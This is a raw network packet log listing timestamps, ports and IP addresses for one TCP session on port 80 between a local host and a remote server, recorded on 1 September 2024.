Sep 1, 2024 01:22:03.269875050 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269877911 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269886971 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269896984 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269902945 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269912958 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269922972 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269925117 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269932032 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269942045 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269947052 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269949913 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269958973 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269969940 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269979954 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269984007 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.270001888 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270019054 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.270019054 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270030975 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270032883 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.270040035 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270051956 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270060062 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270067930 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.270080090 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270096064 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270098925 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.270104885 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270116091 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270123959 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.270124912 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270136118 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270143032 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.270152092 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270165920 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.270186901 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.270210028 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.270359993 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270401001 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.270503044 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270514011 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270539045 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.270560026 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.270694971 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270704985 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270714998 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270724058 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270735025 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270735025 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.270745039 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270756960 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270771980 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.270786047 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.270848989 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270858049 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270868063 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.270893097 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.270914078 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.270996094 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.271007061 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.271017075 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.271027088 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.271039009 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.271070004 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.289966106 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.289975882 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.289985895 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.289995909 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290008068 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290117025 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290127993 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290131092 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.290138006 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290178061 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.290467978 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290476084 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290486097 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290497065 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290505886 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290514946 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290520906 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.290525913 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290541887 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.290565968 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.290607929 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290653944 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.290801048 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290810108 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290819883 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290829897 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290838957 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290849924 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290851116 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.290858984 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290868998 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290877104 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.290879011 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290898085 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.290910006 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.290921926 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.290962934 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.353030920 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353053093 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353064060 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353072882 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353084087 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353095055 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353104115 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353121042 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.353156090 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.353180885 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353192091 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353220940 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.353245974 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.353359938 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353369951 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353379965 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353389978 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353401899 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353406906 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.353413105 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353447914 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.353458881 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.353507996 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353526115 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353534937 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353544950 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353549957 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.353554964 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353569031 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.353593111 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.353674889 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353686094 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353689909 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353719950 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.353741884 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.353847980 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353858948 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353868961 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353877068 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353888035 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353897095 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.353900909 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.353925943 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.353940010 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.353996992 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354007006 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354017019 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354026079 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354034901 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354038000 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.354070902 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.354080915 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.354162931 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354173899 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354183912 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354192972 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354202986 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.354204893 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354214907 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354226112 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354228973 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.354234934 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354245901 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354247093 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.354254961 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354268074 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.354279995 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.354301929 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354307890 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.354314089 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354322910 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354343891 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.354368925 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.354500055 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354510069 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354521036 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354530096 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354537010 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.354566097 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.354660988 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354671001 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354681015 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354691029 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354701996 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.354705095 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354722023 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354727983 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.354731083 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354741096 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354744911 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.354772091 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.354794979 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.354893923 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354903936 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354913950 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354923964 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.354928970 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.354949951 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.354970932 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.355226994 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.355236053 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.355246067 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.355256081 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.355266094 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.355277061 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.355304003 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.355385065 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.355393887 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.355405092 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.355413914 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.355422974 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.355424881 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.355432987 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.355453968 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.355483055 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.355707884 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.355717897 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.355726957 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.355743885 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.355751038 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.355756044 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.355775118 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.355804920 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.356192112 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.356200933 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.356209993 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.356220961 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.356230021 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.356236935 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.356240034 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.356255054 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.356273890 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.356297016 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.415610075 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415621042 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415630102 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415638924 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415651083 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415659904 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415668964 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415678024 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415689945 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415694952 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.415704012 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415724039 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415728092 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.415740013 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415749073 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.415750980 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415759087 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415765047 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.415771008 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415779114 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415787935 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415795088 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.415797949 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415807009 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415816069 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415826082 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.415834904 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415843010 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.415852070 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415862083 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415869951 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415872097 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.415879011 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415889978 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415899992 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.415900946 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415911913 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415920019 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.415920973 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415930986 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415935993 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.415949106 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415956020 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.415970087 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415970087 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.415981054 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415990114 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.415999889 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.415999889 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.416011095 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.416018009 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.416022062 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.416030884 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.416040897 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.416044950 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.416052103 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.416063070 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.416064978 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.416071892 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.416081905 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.416083097 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.416091919 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.416096926 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.416101933 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.416110992 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.416121960 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.416125059 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.416132927 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.416136026 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.416163921 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.416179895 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.439431906 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.439441919 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.439452887 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.439461946 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.439472914 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.439513922 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.439548016 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.439578056 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.439589024 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.439596891 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.439606905 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.439618111 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.439646959 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.439747095 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.439757109 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.439765930 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.439775944 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.439783096 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.439785957 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.439799070 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.439809084 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.439812899 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.439846039 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.439899921 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.439908981 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.439918041 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.439928055 CEST	80	49730	185.215.113.100	192.168.2.4
